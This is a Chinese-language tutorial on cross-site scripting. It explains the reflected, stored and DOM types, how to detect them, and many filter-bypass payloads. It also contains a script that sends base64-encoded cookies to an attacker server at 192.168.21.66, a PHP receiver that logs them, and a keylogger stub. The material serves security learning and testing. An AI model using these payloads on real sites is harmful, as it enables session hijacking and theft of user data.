一、XSS漏洞的概述
漏洞的介绍
XSS又叫CSS(CrossSiteScript),全称跨站脚本攻击。它指的是攻击者往Web页面或者URL里插入恶意JavaScript脚本代码,如果Web应用程序对于用户输入的内容没有过滤,那么当正常用户浏览该网页的时候,嵌入在Web页面里的恶意JavaScript脚本代码会被执行,从而达到恶意攻击正常用户的目的。
漏洞的位置 | |
---|---|
数据交互的地方 | 1、get post cookies headers方法 2、富文本编辑器 3、各类标签插入和自定义 |
数据输出的地方 | 1、用户资料 2、关键词、标签、说明 |
漏洞前提 | 1、可以控制的输入点 2、输入能返回到前端页面上被浏览器当成脚本语言解释执行 |
二、XSS危害
窃取用户Cookie,冒充用户身份进入网站(常见)
键盘记录
客户端信息探查
XSS getshell
劫持用户会话,执行任意操作
刷流量,执行弹窗广告
传播蠕虫病毒
…..
三、XSS检测
1、手工检测XSS
使用手工检测XSS漏洞是否存在时,最重要考虑的是哪里有输入、输入的数据在什么地方输出。
1、可得知输出位置
输入一些敏感字符,例如<、>、"、'、()
等,请求后查看HTML源码,看这些输入的字符是否被转义
2、无法得知输出位置
非常多的web应用程序源代码不对外公开,这时在测试XSS时就有可能无法得知输入数据到底在何处显示,比如,测试某留言板是否存在XSS,那么在留言之后,可能需要经过管理员的审核才能显示,这时无法得知输入的数据在后台管理页面处于什么状态
2、自动检测XSS
APPSCAN、AWVS、BurpSuite等软件,都可以有效地检测XSS漏洞,但这类大型的漏扫工具除了检测XSS外,还会检测SQL注入、文件包含等漏洞,所以效率比较低。专业的XSS扫描工具可以更准确的扫描XSS漏洞,如:XSSER、XSSF。
工具与手动相结合,才能更好地检测XSS,比如:在扫描XSS时,很多扫描器一般无法检测非常规的XSS漏洞,因为在提交留言时可能需要短信验证,验证码填写等,这是工具无法做到的。
页面中js代码执行位置(4个–两个标签外、两个标签内)
语句 | 说明 |
---|---|
<script>alert(1)</script> |
script标签中执行 –标签外(如body中) 推荐(不用点击,直接触发)* |
<script src="x.js"></script> |
调用执行 –标签外 |
<a href="javascript:alert(1)"></a> |
伪协议触发(javascript不可少)–标签内 |
<p onclick="alert(1)"></p> |
事件触发 –标签内 * |
HTML实体编码
若实体编码,则不存在xss漏洞。将<、>
分别实体编码为<>
注意:需要查看源码,不要用F12
1、标签中不显示其他标签
2、多个空格只显示一个,可用
代替空格显示。
以&开头;结尾,中间放特殊字符的英文简写或16进制数字。
分类
类型 | 存储区 | 插入点 |
---|---|---|
反射型 XSS | URL | HTML |
存储型 XSS | 后端数据库 | HTML |
DOM型 XSS | 后端数据库/前端存储/URL前端 | JavaScript |
四、反射型XSS
概念:
是非持久性、参数型的跨站脚本。反射型XSS的JS代码在Web应用的参数(变量)中,如搜索框的反射型XSS。
存在位置:
常见于通过URL传递参数的功能,如网站搜索、跳转等。
攻击手法:
需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在搜索页面。
反射型xss漏洞poc:
<script>alert(/xss/)</script>(常用)
<script>confirm('xss')</script>
<script>prompt('xss')</script>
五、存储型XSS
概念:
持久性跨站脚本,是三种XSS中危害最大的。它是将恶意代码写进数据库或文件等可以永久保存数据的介质中。
存在位置:
常出现在留言板、发表评论或发表文章的地方(数据写入的地方)。
攻击手法:
通过留言板等功能,将攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。
存储型xss漏洞poc:
同反射型xss
六、DOM型XSS
DOM的意思:
DOM文档对象模型(DocumentObjectModel,DOM)是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式
漏洞概念:
不经过后端,DOM-XSS漏洞是基于文档对象模型的一种漏洞,简单去理解就是因为输出点在DOM。DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
攻击手法:
攻击者构造出特殊的URL,其中包含恶意代码。用户打开带有恶意代码的URL用户浏览器接收到响应后解析执行,前端JavaScript取出URL中的恶意代码并执行。恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
常用DOM方法
方法 | 描述 |
---|---|
getElementById() | 返回带有指定ID的元素 |
getElementsByTagName() | 返回带有指定标签的所有元素的节点列表 |
getElementsByClassName() | 返回包含带有指定类名的所有元素的节点列表 |
appendchild() | 把新节点添加到指定节点 |
removeChild() | 删除子节点 |
replaceChild() | 替换子节点 |
insertBefore() | 在指定的子节点前面插入新的子节点 |
createAttribute() | 创建属性节点 |
createElement() | 创建元素节点 |
DOM型XSS漏洞poc
?message=<script>alert(/xss/)</script>
三种漏洞的区别
存储型XSS与反射型XSS的区别
存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存在URL里
DOM型与其他两种XSS的区别
DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的安全漏洞,而其他两种XSS都属于服务端的安全漏洞
七、XSS漏洞测试过程
1、判断是否是html实体编码(查看源代码)
单双引号尖括号等,是否转义
'"<>()
2、确定输出位置
3、判断闭合符
标签外,直接使用
标签内,需要闭合标签
4、绕过waf
标签 | 说明 |
---|---|
a标签 | 存在onclick、onmousemove等事件,无onerror事件 |
img标签 | 存在onerror、onclick、onmousemove等事件 |
input标签 | 存在onchange、onmousemove等事件,无onload、onerror事件 |
svg标签 | 存在onload、onclick、onmousemove等事件 |
注:onload、onerror会在页面加载完成之后立刻触发,其他都要手动触发。优先选择自动触发事件。
八、XSS简单利用
1、XSS获取管理员权限(获取cookie)——重要
2、XSS键盘记录——重要
3、XSS获取内网IP
XSS获取cookie
alert(document.cookie)
自动发送请求的标签
语句 | 说明 |
---|---|
<link rel="stylesheet" type="text/css" href=""> |
链接标签 |
<img src=""> |
图片标签 |
<script src=""></script> |
script标签 |
<iframe src=""></iframe> |
内联框架标签 |
<video src=""></video> |
视频标签 |
<audio src=""></audio> |
音频标签 |
通过自发送标签,将cookie值base64编码后,发送到自己的服务器,即可获取目标cookie信息
使用<script src=http:\\xxx></script>
加载压缩后的短网址,访问js文件
说明 | 语句 |
---|---|
发送js | s=document.createElement('script');s.src='http://192.168.21.66:9999/cookie.php?cookie=' + btoa(document.cookie);document.body.appendChild(s); |
接收php | `<?php if ($_GET[‘cookie’]) { file_put_contents(‘cookie.txt’, “IP:” . $_SERVER[‘REMOTE_ADDR’] . “\nCookie: “ . base64_decode($_GET[‘cookie’]) . “\n\n”, FILE_APPEND |
XSS获取键盘记录
window.onkeypress=function(key){
console.log(key);
}
公开的XSS平台
当<script>
标签无法使用时,可用其他标签使用dom操作,生成<script>
标签
注:script可以只写一半
beef框架
自带hook,可控制网站
XSS绕过方法
XSS绕过svg img
html实体编码,则不存在xss漏洞,也就不存在绕过
实体编码三种格式
< |
|
---|---|
&#十进制 |
|
进制 |
XSS的四种构造方法
构造方式 | 语句 |
---|---|
利用<>构造HTML/JS | <script>alert(/xss/)</script> |
伪协议的方式构造XSS | <a href="javascript:alert(/xss/)">touch me!</a> * |
事件利用 | <img src='./smile.jpg' onmouseover='alert(/xss/)'> |
其他标签以及手法 | <svg onload="alert(/xss/)"> * <input onfocus=alert(/xss/) autofocus> 获取焦点 |
变形及绕过
方法 | 语句 |
---|---|
大小写 | <ahREf="javaScript:alert(/xss/)">clickme</a> |
引号 | HTML语言中对引号的使用不敏感,但是过滤函数对引号很严格<img src="#" onerror="alert(/xss/)"/> <img src='#' onerror='alert(/xss/)'/> |
左斜线/ 代替空格 |
<Img sRc='#' Onerror="alert(/xss/)"/> -> <Img/sRc='#'/Onerror='alert(/xss/)'/> |
回车 | 添加水平制表符和回车符,分割语句,来绕过关键字检测 一些函数不可以加回车,比如事件:onmoveover、onerror等 |
对标签属性值进行转码 | ASCII码、十进制编码、十六进制编码、base64编码(atob解码、btoa编码)、unicode编码等 <ahREf="javaScript:alert(/xss/)">clickme</a> - > <AhREf="javascript:alert(/xss/)">clickme!</a> 注: 可以在任何位置插入: Tab(	)、换行(
)、回车(
) 可以在头部位置插入: SOH()、STX() <AhREf="javas	c r ipt:alert(/xss/)">clickme!</a> 其他: jsfuck编码* 只能执行js代码,不能转html代码 http://www.jsfuck.com/ 如 <img src=# onerror=alert(1)> 中的alert(1) |
拆分跨站 | 当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下,可使用“拆分法”执行跨站脚本代码 <script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</script> |
双写绕过 | <scr<script>ipt> |
CSS中的变形(了解) | 使用全角字符: width:expression(alert(/xss/)) 注释会被浏览器忽略: width:expr/*~*/ession(alert(/x~s~s/)) 样式表中的[\]和[\0] : <style>@import 'javasc\ri\0pt:alert("xss")';</style> |
jsfuck编码
关键词 | 编码 |
---|---|
false | ![] |
true | !![] |
undefined | [][[]] |
NaN | +[![]] |
0 | +[] |
1 | +!+[] |
2 | !+[]+!+[] |
10 | [+!+[]]+[+[]] |
Array | [] |
Number | +[] |
String | []+[] |
Boolean | ![] |
Function | []["filter"] |
eval | []["filter"]["constructor"](CODE)() |
window | []["filter"]["constructor"]("return this")() |
补充
script只能使用常规语法,html实体编码时,可用svg、img代替
<svg onload=alert(1)>
<img="" onerror=alert(1)>
常用编码
html实体编码、jsfuck编码
HTTP-Only绕过
方法 | 说明 |
---|---|
CVE-2012-0053 | Apache服务器2.0-2.2版本存在个漏洞 CE-2012-0053,攻击者可通过向网站植入超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie |
HTML5的CORS特性 | 详见CSRF |